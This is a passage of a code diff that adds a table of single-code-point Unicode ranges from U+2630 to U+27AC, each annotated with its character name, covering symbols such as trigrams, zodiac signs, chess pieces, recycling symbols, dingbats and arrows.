+ [0x2630, 0x2630], /* TRIGRAM FOR HEAVEN */
+ [0x2631, 0x2631], /* TRIGRAM FOR LAKE */
+ [0x2632, 0x2632], /* TRIGRAM FOR FIRE */
+ [0x2633, 0x2633], /* TRIGRAM FOR THUNDER */
+ [0x2634, 0x2634], /* TRIGRAM FOR WIND */
+ [0x2635, 0x2635], /* TRIGRAM FOR WATER */
+ [0x2636, 0x2636], /* TRIGRAM FOR MOUNTAIN */
+ [0x2637, 0x2637], /* TRIGRAM FOR EARTH */
+ [0x2638, 0x2638], /* WHEEL OF DHARMA */
+ [0x2639, 0x2639], /* WHITE FROWNING FACE */
+ [0x263a, 0x263a], /* WHITE SMILING FACE */
+ [0x263b, 0x263b], /* BLACK SMILING FACE */
+ [0x263c, 0x263c], /* WHITE SUN WITH RAYS */
+ [0x263d, 0x263d], /* FIRST QUARTER MOON */
+ [0x263e, 0x263e], /* LAST QUARTER MOON */
+ [0x263f, 0x263f], /* MERCURY */
+ [0x2640, 0x2640], /* FEMALE SIGN */
+ [0x2641, 0x2641], /* EARTH */
+ [0x2642, 0x2642], /* MALE SIGN */
+ [0x2643, 0x2643], /* JUPITER */
+ [0x2644, 0x2644], /* SATURN */
+ [0x2645, 0x2645], /* URANUS */
+ [0x2646, 0x2646], /* NEPTUNE */
+ [0x2647, 0x2647], /* PLUTO */
+ [0x2648, 0x2648], /* ARIES */
+ [0x2649, 0x2649], /* TAURUS */
+ [0x264a, 0x264a], /* GEMINI */
+ [0x264b, 0x264b], /* CANCER */
+ [0x264c, 0x264c], /* LEO */
+ [0x264d, 0x264d], /* VIRGO */
+ [0x264e, 0x264e], /* LIBRA */
+ [0x264f, 0x264f], /* SCORPIUS */
+ [0x2650, 0x2650], /* SAGITTARIUS */
+ [0x2651, 0x2651], /* CAPRICORN */
+ [0x2652, 0x2652], /* AQUARIUS */
+ [0x2653, 0x2653], /* PISCES */
+ [0x2654, 0x2654], /* WHITE CHESS KING */
+ [0x2655, 0x2655], /* WHITE CHESS QUEEN */
+ [0x2656, 0x2656], /* WHITE CHESS ROOK */
+ [0x2657, 0x2657], /* WHITE CHESS BISHOP */
+ [0x2658, 0x2658], /* WHITE CHESS KNIGHT */
+ [0x2659, 0x2659], /* WHITE CHESS PAWN */
+ [0x265a, 0x265a], /* BLACK CHESS KING */
+ [0x265b, 0x265b], /* BLACK CHESS QUEEN */
+ [0x265c, 0x265c], /* BLACK CHESS ROOK */
+ [0x265d, 0x265d], /* BLACK CHESS BISHOP */
+ [0x265e, 0x265e], /* BLACK CHESS KNIGHT */
+ [0x265f, 0x265f], /* BLACK CHESS PAWN */
+ [0x2660, 0x2660], /* BLACK SPADE SUIT */
+ [0x2661, 0x2661], /* WHITE HEART SUIT */
+ [0x2662, 0x2662], /* WHITE DIAMOND SUIT */
+ [0x2663, 0x2663], /* BLACK CLUB SUIT */
+ [0x2664, 0x2664], /* WHITE SPADE SUIT */
+ [0x2665, 0x2665], /* BLACK HEART SUIT */
+ [0x2666, 0x2666], /* BLACK DIAMOND SUIT */
+ [0x2667, 0x2667], /* WHITE CLUB SUIT */
+ [0x2668, 0x2668], /* HOT SPRINGS */
+ [0x2669, 0x2669], /* QUARTER NOTE */
+ [0x266a, 0x266a], /* EIGHTH NOTE */
+ [0x266b, 0x266b], /* BEAMED EIGHTH NOTES (BARRED EIGHTH NOTES) */
+ [0x266c, 0x266c], /* BEAMED SIXTEENTH NOTES (BARRED SIXTEENTH NOTES) */
+ [0x266d, 0x266d], /* MUSIC FLAT SIGN (FLAT) */
+ [0x266e, 0x266e], /* MUSIC NATURAL SIGN (NATURAL) */
+ [0x266f, 0x266f], /* MUSIC SHARP SIGN (SHARP) */
+ [0x2670, 0x2670], /* WEST SYRIAC CROSS */
+ [0x2671, 0x2671], /* EAST SYRIAC CROSS */
+ [0x2672, 0x2672], /* UNIVERSAL RECYCLING SYMBOL */
+ [0x2673, 0x2673], /* RECYCLING SYMBOL FOR TYPE-1 PLASTICS */
+ [0x2674, 0x2674], /* RECYCLING SYMBOL FOR TYPE-2 PLASTICS */
+ [0x2675, 0x2675], /* RECYCLING SYMBOL FOR TYPE-3 PLASTICS */
+ [0x2676, 0x2676], /* RECYCLING SYMBOL FOR TYPE-4 PLASTICS */
+ [0x2677, 0x2677], /* RECYCLING SYMBOL FOR TYPE-5 PLASTICS */
+ [0x2678, 0x2678], /* RECYCLING SYMBOL FOR TYPE-6 PLASTICS */
+ [0x2679, 0x2679], /* RECYCLING SYMBOL FOR TYPE-7 PLASTICS */
+ [0x267a, 0x267a], /* RECYCLING SYMBOL FOR GENERIC MATERIALS */
+ [0x267b, 0x267b], /* BLACK UNIVERSAL RECYCLING SYMBOL */
+ [0x267c, 0x267c], /* RECYCLED PAPER SYMBOL */
+ [0x267d, 0x267d], /* PARTIALLY-RECYCLED PAPER SYMBOL */
+ [0x267e, 0x267e], /* PERMANENT PAPER SIGN */
+ [0x267f, 0x267f], /* WHEELCHAIR SYMBOL */
+ [0x2680, 0x2680], /* DIE FACE-1 */
+ [0x2681, 0x2681], /* DIE FACE-2 */
+ [0x2682, 0x2682], /* DIE FACE-3 */
+ [0x2683, 0x2683], /* DIE FACE-4 */
+ [0x2684, 0x2684], /* DIE FACE-5 */
+ [0x2685, 0x2685], /* DIE FACE-6 */
+ [0x2686, 0x2686], /* WHITE CIRCLE WITH DOT RIGHT */
+ [0x2687, 0x2687], /* WHITE CIRCLE WITH TWO DOTS */
+ [0x2688, 0x2688], /* BLACK CIRCLE WITH WHITE DOT RIGHT */
+ [0x2689, 0x2689], /* BLACK CIRCLE WITH TWO WHITE DOTS */
+ [0x268a, 0x268a], /* MONOGRAM FOR YANG */
+ [0x268b, 0x268b], /* MONOGRAM FOR YIN */
+ [0x268c, 0x268c], /* DIGRAM FOR GREATER YANG */
+ [0x268d, 0x268d], /* DIGRAM FOR LESSER YIN */
+ [0x268e, 0x268e], /* DIGRAM FOR LESSER YANG */
+ [0x268f, 0x268f], /* DIGRAM FOR GREATER YIN */
+ [0x2690, 0x2690], /* WHITE FLAG */
+ [0x2691, 0x2691], /* BLACK FLAG */
+ [0x2692, 0x2692], /* HAMMER AND PICK */
+ [0x2693, 0x2693], /* ANCHOR */
+ [0x2694, 0x2694], /* CROSSED SWORDS */
+ [0x2695, 0x2695], /* STAFF OF AESCULAPIUS */
+ [0x2696, 0x2696], /* SCALES */
+ [0x2697, 0x2697], /* ALEMBIC */
+ [0x2698, 0x2698], /* FLOWER */
+ [0x2699, 0x2699], /* GEAR */
+ [0x269a, 0x269a], /* STAFF OF HERMES */
+ [0x269b, 0x269b], /* ATOM SYMBOL */
+ [0x269c, 0x269c], /* FLEUR-DE-LIS */
+ [0x269d, 0x269d], /* OUTLINED WHITE STAR */
+ [0x269e, 0x269e], /* THREE LINES CONVERGING RIGHT */
+ [0x269f, 0x269f], /* THREE LINES CONVERGING LEFT */
+ [0x26a0, 0x26a0], /* WARNING SIGN */
+ [0x26a1, 0x26a1], /* HIGH VOLTAGE SIGN */
+ [0x26a2, 0x26a2], /* DOUBLED FEMALE SIGN */
+ [0x26a3, 0x26a3], /* DOUBLED MALE SIGN */
+ [0x26a4, 0x26a4], /* INTERLOCKED FEMALE AND MALE SIGN */
+ [0x26a5, 0x26a5], /* MALE AND FEMALE SIGN */
+ [0x26a6, 0x26a6], /* MALE WITH STROKE SIGN */
+ [0x26a7, 0x26a7], /* MALE WITH STROKE AND MALE AND FEMALE SIGN */
+ [0x26a8, 0x26a8], /* VERTICAL MALE WITH STROKE SIGN */
+ [0x26a9, 0x26a9], /* HORIZONTAL MALE WITH STROKE SIGN */
+ [0x26aa, 0x26aa], /* MEDIUM WHITE CIRCLE */
+ [0x26ab, 0x26ab], /* MEDIUM BLACK CIRCLE */
+ [0x26ac, 0x26ac], /* MEDIUM SMALL WHITE CIRCLE */
+ [0x26ad, 0x26ad], /* MARRIAGE SYMBOL */
+ [0x26ae, 0x26ae], /* DIVORCE SYMBOL */
+ [0x26af, 0x26af], /* UNMARRIED PARTNERSHIP SYMBOL */
+ [0x26b0, 0x26b0], /* COFFIN */
+ [0x26b1, 0x26b1], /* FUNERAL URN */
+ [0x26b2, 0x26b2], /* NEUTER */
+ [0x26b3, 0x26b3], /* CERES */
+ [0x26b4, 0x26b4], /* PALLAS */
+ [0x26b5, 0x26b5], /* JUNO */
+ [0x26b6, 0x26b6], /* VESTA */
+ [0x26b7, 0x26b7], /* CHIRON */
+ [0x26b8, 0x26b8], /* BLACK MOON LILITH */
+ [0x26b9, 0x26b9], /* SEXTILE */
+ [0x26ba, 0x26ba], /* SEMISEXTILE */
+ [0x26bb, 0x26bb], /* QUINCUNX */
+ [0x26bc, 0x26bc], /* SESQUIQUADRATE */
+ [0x26bd, 0x26bd], /* SOCCER BALL */
+ [0x26be, 0x26be], /* BASEBALL */
+ [0x26bf, 0x26bf], /* SQUARED KEY */
+ [0x26c0, 0x26c0], /* WHITE DRAUGHTS MAN */
+ [0x26c1, 0x26c1], /* WHITE DRAUGHTS KING */
+ [0x26c2, 0x26c2], /* BLACK DRAUGHTS MAN */
+ [0x26c3, 0x26c3], /* BLACK DRAUGHTS KING */
+ [0x26c4, 0x26c4], /* SNOWMAN WITHOUT SNOW */
+ [0x26c5, 0x26c5], /* SUN BEHIND CLOUD */
+ [0x26c6, 0x26c6], /* RAIN */
+ [0x26c7, 0x26c7], /* BLACK SNOWMAN */
+ [0x26c8, 0x26c8], /* THUNDER CLOUD AND RAIN */
+ [0x26c9, 0x26c9], /* TURNED WHITE SHOGI PIECE */
+ [0x26ca, 0x26ca], /* TURNED BLACK SHOGI PIECE */
+ [0x26cb, 0x26cb], /* WHITE DIAMOND IN SQUARE */
+ [0x26cc, 0x26cc], /* CROSSING LANES */
+ [0x26cd, 0x26cd], /* DISABLED CAR */
+ [0x26ce, 0x26ce], /* OPHIUCHUS */
+ [0x26cf, 0x26cf], /* PICK */
+ [0x26d0, 0x26d0], /* CAR SLIDING */
+ [0x26d1, 0x26d1], /* HELMET WITH WHITE CROSS */
+ [0x26d2, 0x26d2], /* CIRCLED CROSSING LANES */
+ [0x26d3, 0x26d3], /* CHAINS */
+ [0x26d4, 0x26d4], /* NO ENTRY */
+ [0x26d5, 0x26d5], /* ALTERNATE ONE-WAY LEFT WAY TRAFFIC */
+ [0x26d6, 0x26d6], /* BLACK TWO-WAY LEFT WAY TRAFFIC */
+ [0x26d7, 0x26d7], /* WHITE TWO-WAY LEFT WAY TRAFFIC */
+ [0x26d8, 0x26d8], /* BLACK LEFT LANE MERGE */
+ [0x26d9, 0x26d9], /* WHITE LEFT LANE MERGE */
+ [0x26da, 0x26da], /* DRIVE SLOW SIGN */
+ [0x26db, 0x26db], /* HEAVY WHITE DOWN-POINTING TRIANGLE */
+ [0x26dc, 0x26dc], /* LEFT CLOSED ENTRY */
+ [0x26dd, 0x26dd], /* SQUARED SALTIRE */
+ [0x26de, 0x26de], /* FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE */
+ [0x26df, 0x26df], /* BLACK TRUCK */
+ [0x26e0, 0x26e0], /* RESTRICTED LEFT ENTRY-1 */
+ [0x26e1, 0x26e1], /* RESTRICTED LEFT ENTRY-2 */
+ [0x26e2, 0x26e2], /* ASTRONOMICAL SYMBOL FOR URANUS */
+ [0x26e3, 0x26e3], /* HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE */
+ [0x26e4, 0x26e4], /* PENTAGRAM */
+ [0x26e5, 0x26e5], /* RIGHT-HANDED INTERLACED PENTAGRAM */
+ [0x26e6, 0x26e6], /* LEFT-HANDED INTERLACED PENTAGRAM */
+ [0x26e7, 0x26e7], /* INVERTED PENTAGRAM */
+ [0x26e8, 0x26e8], /* BLACK CROSS ON SHIELD */
+ [0x26e9, 0x26e9], /* SHINTO SHRINE */
+ [0x26ea, 0x26ea], /* CHURCH */
+ [0x26eb, 0x26eb], /* CASTLE */
+ [0x26ec, 0x26ec], /* HISTORIC SITE */
+ [0x26ed, 0x26ed], /* GEAR WITHOUT HUB */
+ [0x26ee, 0x26ee], /* GEAR WITH HANDLES */
+ [0x26ef, 0x26ef], /* MAP SYMBOL FOR LIGHTHOUSE */
+ [0x26f0, 0x26f0], /* MOUNTAIN */
+ [0x26f1, 0x26f1], /* UMBRELLA ON GROUND */
+ [0x26f2, 0x26f2], /* FOUNTAIN */
+ [0x26f3, 0x26f3], /* FLAG IN HOLE */
+ [0x26f4, 0x26f4], /* FERRY */
+ [0x26f5, 0x26f5], /* SAILBOAT */
+ [0x26f6, 0x26f6], /* SQUARE FOUR CORNERS */
+ [0x26f7, 0x26f7], /* SKIER */
+ [0x26f8, 0x26f8], /* ICE SKATE */
+ [0x26f9, 0x26f9], /* PERSON WITH BALL */
+ [0x26fa, 0x26fa], /* TENT */
+ [0x26fb, 0x26fb], /* JAPANESE BANK SYMBOL */
+ [0x26fc, 0x26fc], /* HEADSTONE GRAVEYARD SYMBOL */
+ [0x26fd, 0x26fd], /* FUEL PUMP */
+ [0x26fe, 0x26fe], /* CUP ON BLACK SQUARE */
+ [0x26ff, 0x26ff], /* WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE */
+ [0x2700, 0x2700], /* BLACK SAFETY SCISSORS */
+ [0x2701, 0x2701], /* UPPER BLADE SCISSORS */
+ [0x2702, 0x2702], /* BLACK SCISSORS */
+ [0x2703, 0x2703], /* LOWER BLADE SCISSORS */
+ [0x2704, 0x2704], /* WHITE SCISSORS */
+ [0x2705, 0x2705], /* WHITE HEAVY CHECK MARK */
+ [0x2706, 0x2706], /* TELEPHONE LOCATION SIGN */
+ [0x2707, 0x2707], /* TAPE DRIVE */
+ [0x2708, 0x2708], /* AIRPLANE */
+ [0x2709, 0x2709], /* ENVELOPE */
+ [0x270a, 0x270a], /* RAISED FIST */
+ [0x270b, 0x270b], /* RAISED HAND */
+ [0x270c, 0x270c], /* VICTORY HAND */
+ [0x270d, 0x270d], /* WRITING HAND */
+ [0x270e, 0x270e], /* LOWER RIGHT PENCIL */
+ [0x270f, 0x270f], /* PENCIL */
+ [0x2710, 0x2710], /* UPPER RIGHT PENCIL */
+ [0x2711, 0x2711], /* WHITE NIB */
+ [0x2712, 0x2712], /* BLACK NIB */
+ [0x2713, 0x2713], /* CHECK MARK */
+ [0x2714, 0x2714], /* HEAVY CHECK MARK */
+ [0x2715, 0x2715], /* MULTIPLICATION X */
+ [0x2716, 0x2716], /* HEAVY MULTIPLICATION X */
+ [0x2717, 0x2717], /* BALLOT X */
+ [0x2718, 0x2718], /* HEAVY BALLOT X */
+ [0x2719, 0x2719], /* OUTLINED GREEK CROSS */
+ [0x271a, 0x271a], /* HEAVY GREEK CROSS */
+ [0x271b, 0x271b], /* OPEN CENTRE CROSS (OPEN CENTER CROSS) */
+ [0x271c, 0x271c], /* HEAVY OPEN CENTRE CROSS (HEAVY OPEN CENTER CROSS) */
+ [0x271d, 0x271d], /* LATIN CROSS */
+ [0x271e, 0x271e], /* SHADOWED WHITE LATIN CROSS */
+ [0x271f, 0x271f], /* OUTLINED LATIN CROSS */
+ [0x2720, 0x2720], /* MALTESE CROSS */
+ [0x2721, 0x2721], /* STAR OF DAVID */
+ [0x2722, 0x2722], /* FOUR TEARDROP-SPOKED ASTERISK */
+ [0x2723, 0x2723], /* FOUR BALLOON-SPOKED ASTERISK */
+ [0x2724, 0x2724], /* HEAVY FOUR BALLOON-SPOKED ASTERISK */
+ [0x2725, 0x2725], /* FOUR CLUB-SPOKED ASTERISK */
+ [0x2726, 0x2726], /* BLACK FOUR POINTED STAR */
+ [0x2727, 0x2727], /* WHITE FOUR POINTED STAR */
+ [0x2728, 0x2728], /* SPARKLES */
+ [0x2729, 0x2729], /* STRESS OUTLINED WHITE STAR */
+ [0x272a, 0x272a], /* CIRCLED WHITE STAR */
+ [0x272b, 0x272b], /* OPEN CENTRE BLACK STAR (OPEN CENTER BLACK STAR) */
+ [0x272c, 0x272c], /* BLACK CENTRE WHITE STAR (BLACK CENTER WHITE STAR) */
+ [0x272d, 0x272d], /* OUTLINED BLACK STAR */
+ [0x272e, 0x272e], /* HEAVY OUTLINED BLACK STAR */
+ [0x272f, 0x272f], /* PINWHEEL STAR */
+ [0x2730, 0x2730], /* SHADOWED WHITE STAR */
+ [0x2731, 0x2731], /* HEAVY ASTERISK */
+ [0x2732, 0x2732], /* OPEN CENTRE ASTERISK (OPEN CENTER ASTERISK) */
+ [0x2733, 0x2733], /* EIGHT SPOKED ASTERISK */
+ [0x2734, 0x2734], /* EIGHT POINTED BLACK STAR */
+ [0x2735, 0x2735], /* EIGHT POINTED PINWHEEL STAR */
+ [0x2736, 0x2736], /* SIX POINTED BLACK STAR */
+ [0x2737, 0x2737], /* EIGHT POINTED RECTILINEAR BLACK STAR */
+ [0x2738, 0x2738], /* HEAVY EIGHT POINTED RECTILINEAR BLACK STAR */
+ [0x2739, 0x2739], /* TWELVE POINTED BLACK STAR */
+ [0x273a, 0x273a], /* SIXTEEN POINTED ASTERISK */
+ [0x273b, 0x273b], /* TEARDROP-SPOKED ASTERISK */
+ [0x273c, 0x273c], /* OPEN CENTRE TEARDROP-SPOKED ASTERISK (OPEN CENTER TEARDROP-SPOKED ASTERISK) */
+ [0x273d, 0x273d], /* HEAVY TEARDROP-SPOKED ASTERISK */
+ [0x273e, 0x273e], /* SIX PETALLED BLACK AND WHITE FLORETTE */
+ [0x273f, 0x273f], /* BLACK FLORETTE */
+ [0x2740, 0x2740], /* WHITE FLORETTE */
+ [0x2741, 0x2741], /* EIGHT PETALLED OUTLINED BLACK FLORETTE */
+ [0x2742, 0x2742], /* CIRCLED OPEN CENTRE EIGHT POINTED STAR (CIRCLED OPEN CENTER EIGHT POINTED STAR) */
+ [0x2743, 0x2743], /* HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK */
+ [0x2744, 0x2744], /* SNOWFLAKE */
+ [0x2745, 0x2745], /* TIGHT TRIFOLIATE SNOWFLAKE */
+ [0x2746, 0x2746], /* HEAVY CHEVRON SNOWFLAKE */
+ [0x2747, 0x2747], /* SPARKLE */
+ [0x2748, 0x2748], /* HEAVY SPARKLE */
+ [0x2749, 0x2749], /* BALLOON-SPOKED ASTERISK */
+ [0x274a, 0x274a], /* EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ [0x274b, 0x274b], /* HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ [0x274c, 0x274c], /* CROSS MARK */
+ [0x274d, 0x274d], /* SHADOWED WHITE CIRCLE */
+ [0x274e, 0x274e], /* NEGATIVE SQUARED CROSS MARK */
+ [0x274f, 0x274f], /* LOWER RIGHT DROP-SHADOWED WHITE SQUARE */
+ [0x2750, 0x2750], /* UPPER RIGHT DROP-SHADOWED WHITE SQUARE */
+ [0x2751, 0x2751], /* LOWER RIGHT SHADOWED WHITE SQUARE */
+ [0x2752, 0x2752], /* UPPER RIGHT SHADOWED WHITE SQUARE */
+ [0x2753, 0x2753], /* BLACK QUESTION MARK ORNAMENT */
+ [0x2754, 0x2754], /* WHITE QUESTION MARK ORNAMENT */
+ [0x2755, 0x2755], /* WHITE EXCLAMATION MARK ORNAMENT */
+ [0x2756, 0x2756], /* BLACK DIAMOND MINUS WHITE X */
+ [0x2757, 0x2757], /* HEAVY EXCLAMATION MARK SYMBOL */
+ [0x2758, 0x2758], /* LIGHT VERTICAL BAR */
+ [0x2759, 0x2759], /* MEDIUM VERTICAL BAR */
+ [0x275a, 0x275a], /* HEAVY VERTICAL BAR */
+ [0x275b, 0x275b], /* HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ [0x275c, 0x275c], /* HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT */
+ [0x275d, 0x275d], /* HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ [0x275e, 0x275e], /* HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ [0x275f, 0x275f], /* HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT */
+ [0x2760, 0x2760], /* HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ [0x2761, 0x2761], /* CURVED STEM PARAGRAPH SIGN ORNAMENT */
+ [0x2762, 0x2762], /* HEAVY EXCLAMATION MARK ORNAMENT */
+ [0x2763, 0x2763], /* HEAVY HEART EXCLAMATION MARK ORNAMENT */
+ [0x2764, 0x2764], /* HEAVY BLACK HEART */
+ [0x2765, 0x2765], /* ROTATED HEAVY BLACK HEART BULLET */
+ [0x2766, 0x2766], /* FLORAL HEART */
+ [0x2767, 0x2767], /* ROTATED FLORAL HEART BULLET */
+ [0x2768, 0x2768], /* MEDIUM LEFT PARENTHESIS ORNAMENT */
+ [0x2769, 0x2769], /* MEDIUM RIGHT PARENTHESIS ORNAMENT */
+ [0x276a, 0x276a], /* MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT */
+ [0x276b, 0x276b], /* MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT */
+ [0x276c, 0x276c], /* MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ [0x276d, 0x276d], /* MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ [0x276e, 0x276e], /* HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ [0x276f, 0x276f], /* HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ [0x2770, 0x2770], /* HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ [0x2771, 0x2771], /* HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ [0x2772, 0x2772], /* LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT */
+ [0x2773, 0x2773], /* LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT */
+ [0x2774, 0x2774], /* MEDIUM LEFT CURLY BRACKET ORNAMENT */
+ [0x2775, 0x2775], /* MEDIUM RIGHT CURLY BRACKET ORNAMENT */
+ [0x2776, 0x2776], /* DINGBAT NEGATIVE CIRCLED DIGIT ONE (INVERSE CIRCLED DIGIT ONE) */
+ [0x2777, 0x2777], /* DINGBAT NEGATIVE CIRCLED DIGIT TWO (INVERSE CIRCLED DIGIT TWO) */
+ [0x2778, 0x2778], /* DINGBAT NEGATIVE CIRCLED DIGIT THREE (INVERSE CIRCLED DIGIT THREE) */
+ [0x2779, 0x2779], /* DINGBAT NEGATIVE CIRCLED DIGIT FOUR (INVERSE CIRCLED DIGIT FOUR) */
+ [0x277a, 0x277a], /* DINGBAT NEGATIVE CIRCLED DIGIT FIVE (INVERSE CIRCLED DIGIT FIVE) */
+ [0x277b, 0x277b], /* DINGBAT NEGATIVE CIRCLED DIGIT SIX (INVERSE CIRCLED DIGIT SIX) */
+ [0x277c, 0x277c], /* DINGBAT NEGATIVE CIRCLED DIGIT SEVEN (INVERSE CIRCLED DIGIT SEVEN) */
+ [0x277d, 0x277d], /* DINGBAT NEGATIVE CIRCLED DIGIT EIGHT (INVERSE CIRCLED DIGIT EIGHT) */
+ [0x277e, 0x277e], /* DINGBAT NEGATIVE CIRCLED DIGIT NINE (INVERSE CIRCLED DIGIT NINE) */
+ [0x277f, 0x277f], /* DINGBAT NEGATIVE CIRCLED NUMBER TEN (INVERSE CIRCLED NUMBER TEN) */
+ [0x2780, 0x2780], /* DINGBAT CIRCLED SANS-SERIF DIGIT ONE (CIRCLED SANS-SERIF DIGIT ONE) */
+ [0x2781, 0x2781], /* DINGBAT CIRCLED SANS-SERIF DIGIT TWO (CIRCLED SANS-SERIF DIGIT TWO) */
+ [0x2782, 0x2782], /* DINGBAT CIRCLED SANS-SERIF DIGIT THREE (CIRCLED SANS-SERIF DIGIT THREE) */
+ [0x2783, 0x2783], /* DINGBAT CIRCLED SANS-SERIF DIGIT FOUR (CIRCLED SANS-SERIF DIGIT FOUR) */
+ [0x2784, 0x2784], /* DINGBAT CIRCLED SANS-SERIF DIGIT FIVE (CIRCLED SANS-SERIF DIGIT FIVE) */
+ [0x2785, 0x2785], /* DINGBAT CIRCLED SANS-SERIF DIGIT SIX (CIRCLED SANS-SERIF DIGIT SIX) */
+ [0x2786, 0x2786], /* DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN (CIRCLED SANS-SERIF DIGIT SEVEN) */
+ [0x2787, 0x2787], /* DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT (CIRCLED SANS-SERIF DIGIT EIGHT) */
+ [0x2788, 0x2788], /* DINGBAT CIRCLED SANS-SERIF DIGIT NINE (CIRCLED SANS-SERIF DIGIT NINE) */
+ [0x2789, 0x2789], /* DINGBAT CIRCLED SANS-SERIF NUMBER TEN (CIRCLED SANS-SERIF NUMBER TEN) */
+ [0x278a, 0x278a], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE (INVERSE CIRCLED SANS-SERIF DIGIT ONE) */
+ [0x278b, 0x278b], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO (INVERSE CIRCLED SANS-SERIF DIGIT TWO) */
+ [0x278c, 0x278c], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE (INVERSE CIRCLED SANS-SERIF DIGIT THREE) */
+ [0x278d, 0x278d], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR (INVERSE CIRCLED SANS-SERIF DIGIT FOUR) */
+ [0x278e, 0x278e], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE (INVERSE CIRCLED SANS-SERIF DIGIT FIVE) */
+ [0x278f, 0x278f], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX (INVERSE CIRCLED SANS-SERIF DIGIT SIX) */
+ [0x2790, 0x2790], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN (INVERSE CIRCLED SANS-SERIF DIGIT SEVEN) */
+ [0x2791, 0x2791], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT (INVERSE CIRCLED SANS-SERIF DIGIT EIGHT) */
+ [0x2792, 0x2792], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE (INVERSE CIRCLED SANS-SERIF DIGIT NINE) */
+ [0x2793, 0x2793], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN (INVERSE CIRCLED SANS-SERIF NUMBER TEN) */
+ [0x2794, 0x2794], /* HEAVY WIDE-HEADED RIGHTWARDS ARROW (HEAVY WIDE-HEADED RIGHT ARROW) */
+ [0x2795, 0x2795], /* HEAVY PLUS SIGN */
+ [0x2796, 0x2796], /* HEAVY MINUS SIGN */
+ [0x2797, 0x2797], /* HEAVY DIVISION SIGN */
+ [0x2798, 0x2798], /* HEAVY SOUTH EAST ARROW (HEAVY LOWER RIGHT ARROW) */
+ [0x2799, 0x2799], /* HEAVY RIGHTWARDS ARROW (HEAVY RIGHT ARROW) */
+ [0x279a, 0x279a], /* HEAVY NORTH EAST ARROW (HEAVY UPPER RIGHT ARROW) */
+ [0x279b, 0x279b], /* DRAFTING POINT RIGHTWARDS ARROW (DRAFTING POINT RIGHT ARROW) */
+ [0x279c, 0x279c], /* HEAVY ROUND-TIPPED RIGHTWARDS ARROW (HEAVY ROUND-TIPPED RIGHT ARROW) */
+ [0x279d, 0x279d], /* TRIANGLE-HEADED RIGHTWARDS ARROW (TRIANGLE-HEADED RIGHT ARROW) */
+ [0x279e, 0x279e], /* HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY TRIANGLE-HEADED RIGHT ARROW) */
+ [0x279f, 0x279f], /* DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ [0x27a0, 0x27a0], /* HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ [0x27a1, 0x27a1], /* BLACK RIGHTWARDS ARROW (BLACK RIGHT ARROW) */
+ [0x27a2, 0x27a2], /* THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D TOP-LIGHTED RIGHT ARROWHEAD) */
+ [0x27a3, 0x27a3], /* THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D BOTTOM-LIGHTED RIGHT ARROWHEAD) */
+ [0x27a4, 0x27a4], /* BLACK RIGHTWARDS ARROWHEAD (BLACK RIGHT ARROWHEAD) */
+ [0x27a5, 0x27a5], /* HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED DOWN AND RIGHT ARROW) */
+ [0x27a6, 0x27a6], /* HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED UP AND RIGHT ARROW) */
+ [0x27a7, 0x27a7], /* SQUAT BLACK RIGHTWARDS ARROW (SQUAT BLACK RIGHT ARROW) */
+ [0x27a8, 0x27a8], /* HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW (HEAVY CONCAVE-POINTED BLACK RIGHT ARROW) */
+ [0x27a9, 0x27a9], /* RIGHT-SHADED WHITE RIGHTWARDS ARROW (RIGHT-SHADED WHITE RIGHT ARROW) */
+ [0x27aa, 0x27aa], /* LEFT-SHADED WHITE RIGHTWARDS ARROW (LEFT-SHADED WHITE RIGHT ARROW) */
+ [0x27ab, 0x27ab], /* BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW (BACK-TILTED SHADOWED WHITE RIGHT ARROW) */
+ [0x27ac, 0x27ac], /* FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW (FRONT-TILTED SHADOWED WHITE RIGHT ARROW) */
